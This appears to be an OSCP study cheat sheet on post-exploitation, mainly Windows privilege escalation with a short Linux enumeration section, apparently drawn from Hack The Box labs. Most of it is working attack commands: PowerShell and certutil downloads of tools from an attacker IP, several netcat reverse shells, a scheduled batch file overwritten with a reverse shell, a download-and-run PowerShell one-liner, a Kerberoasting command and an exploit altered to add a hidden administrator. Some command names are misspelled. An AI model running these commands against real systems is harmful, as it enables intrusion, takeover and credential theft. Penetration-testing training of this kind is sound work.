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Post Exploitation (후속공격)

All you need to know about basic host-based post exploitation for OSCP

Windows Privilege Escalation

JuicyPotato

JuicyPotato is an automation PE script to escalate privilege from a Windows Service Accounts to NT AUTHORITY\SYSTEM.

First, you need to check the OS information of the victim Windows Host by

systeminfo

You need a unique CLSID for different Windows OS. You can pick CLSID from https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

Check if the victim is vulnearble to JuicyPotato PE script. SeImpersonatePrivilege should be enabled.

C:\Windows\system32>whoami /priv

Download nc.exe and juicypotato.exe to the victim host , then simply upload both to a writable directoy. I normall just write to a temp folder under \appdata\local\temp\.

powershell.exe invoke-webrequest -uri http://$attackerip/nc.exe -outfile C:\users\user\appdata\local\temp\nc.exe
powershell.exe invoke-webrequest -uri http://$attackerip/JuicyPotato.exe -outfile C:\users\user\appdata\local\temp\jp.exe

If powershell isn't working, try with certutil command.

certutil -urlcache -split -f http://$attackerip/JuicyPotato.exe jp.exe

Then create a rev.bat ( reverse shell bash ) file to get a reverseshell 

echo C:\users\user\appdata\local\temp\nc.exe -e cmd.exe 10.10.14.39 1340 > rev.bat
powershell.exe invoke-webrequest -uri http://$attackerip/rev.bat -outfile C:\users\user\appdata\local\temp\rev.bat

Then run Juicy with the correct clsid.

jp.exe -t * -p C:\users\user\appdata\local\temp\rev.bat -l 1340 -c '{8F5DF053-3013-4dd8-B5F4-88214E81C0CF}'

On the attacker host, start the listener with some uncommon port

nc -lnvp 1340

Abusing Permission Issue

icals

You can try calcs command to see if you are able to grant root permission to the current/specific user.

To check the permission of the root.txt, use icals

icalcs root.txt

Only Administrator can access root.txt

However, Alfred owns the root.txt. The ownership of each file in a directory can be checked by 

dir /q /a:

/q - to show ownership.

/a: to all in the directory.

Since the user Alfred owns the root.txt, Alfred has the ability to grant users access to it regardless of anything else.

You can grant alfred read permssion to read the root.txt

C:\Users\Administrator\Desktop>cacls root.txt /g alfred:r
C:\Users\Administrator\Desktop>type root.txt

where

  • /t -recursively apply

  • /e - edit permissions

  • /g -grant

alfred:r to give alfread read control of the file

powershell -command Get-content .\hm.txt  -stream root.txt

schtasks

schtasks /query /fo LIST /v

We see C:\SVCcheck\SVCcheck.bat will be executed every 5 mins... Check the file permission

cacls "C:\SVCcheck\SVCcheck.bat"

Everyone has the full rights.

Now spawn your reverse shell to SVCcheck.bat by echo

echo "C:\Documents and Settings\albert\nc.exe" -nv 192.168.39.31 80 -e C:\WINDOWS\System32\cmd.exe > "C:\SVCcheck\SVCcheck.bat"

Then just simply wait for 5 mins you'll get the reverse shell.

runas

You can check if administrator needs no password by 

net user administrator

Then you can simply make ncat reverse shell by runas 

runas /user:Administrator /savecred "nc.exe -c cmd.exe 10.10.xx.xx 1337"
nc -lnvp 1337

If you already got the administrator password, you can simply try psexec by running cmd as Administrator and get a shell.

runas /netonly /user:QUERIER\Administrator cmd.exe
psexec \\querier.htb cmd

Mounting C$ Manullay in case you can't access root.txt even with an adminstrator account.

net use Z: \\ARKHAM\C$
Z:
type root.txt

Powershell run as different user and get the reverse shell

Invoke-Command -ScriptBlock {\\10.10.14.38\share\nc.exe -e cmd.exe 10.10.14.38 4444} -Credential WORKGROUP\administrator -computer localhost

Outdated Windows OS

Microsoft Windows [Version 6.1.7601] (i.e. Win 7 SP1)

https://www.exploit-db.com/exploits/40564/ (MS11-046)

i686-w64-mingw32-gcc 40564.c -lws2_32 -o 40564.exe

Original code:

// spawn shell (with elevated privileges)
    printf("         [*] Spawning shell\n");
    // spawn SYSTEM shell within the current shell (remote shell friendly)
    system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");

Modified code to add admin user:

    // create admin account (with elevated privileges)
    printf("         [*] Creating Admin Account (offsec/password)\n");
    system ("c:\\windows\\system32\\cmd.exe /K net user offsec password /add");
    system ("c:\\windows\\system32\\cmd.exe /K net localgroup administrators offsec /add");
    system ("c:\\windows\\system32\\cmd.exe /K net localgroup \"remote desktop users\" offsec /add");

Using Impacket to remotely control/exploit windows

Impacket contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing.

  • Remote code Execution : atexec.py, dcomexec.py, psexec.py, smbexec.py and wmiexec.py

  • SMB/MSRPC : getArch.py, ifmap.py, lookupsid.py, samrdump.py, services.py, netview.py, smbclient.py, opdump.py, rpcdump.py and reg.py

  • Kerberos: GetST.py, GetPac.py, GetUserSPNs.py, GetNPUsers.py, ticketer.py and raiseChild.py

  • Windows Secret: mimikatz.py

  • Server Tools/MiTM Attacks: karmaSMB.py and smbserver.py

  • WMI: wmipersist.py

  • Known Vulnerabilities: sambaPipe.py and sambaPipe.py

  • MSSQL / TDS: mssqlclient.py

  • File Formats: ntfs-read.py and registry-read.py.

  • Others: mqtt_check.py, rdp_check.py, sniffer.py, ping.py, and ping6.py

lookupsid.py

This script allows you to bruteforce the Windows SID through [MS-LSAT] MSRPC.

/opt/impacket/examples/lookupsid.py $user:stealth1agent@heist.htb

GetUserSPNs.py

GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Using automation tools

You can use windows-privesc-checker by pentestmonkey

Or try with PowerUp.ps1 to find some hidden hints

PS C:\> powershell.exe import-module .\PowerUp.ps1
PS C:\> Invoke-AllChecks

Sherlock.ps1

PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

powershell “IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.43/Sherlock.ps1'); Find-AllVulns”

Linux Privilege Escalation

Linux Privilege Escalation is not as complex as Windows. I'd recommend running the known automation scripts before you start exploiting.

Using automation tools

LinEnum

-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text

Dirty Sock

Abusing Permission Issue

Find suid and guid files

#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null

Searching some interesting files in linux

search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql

.ssh:
.bash_history

/var/mail
/var/spool/mail
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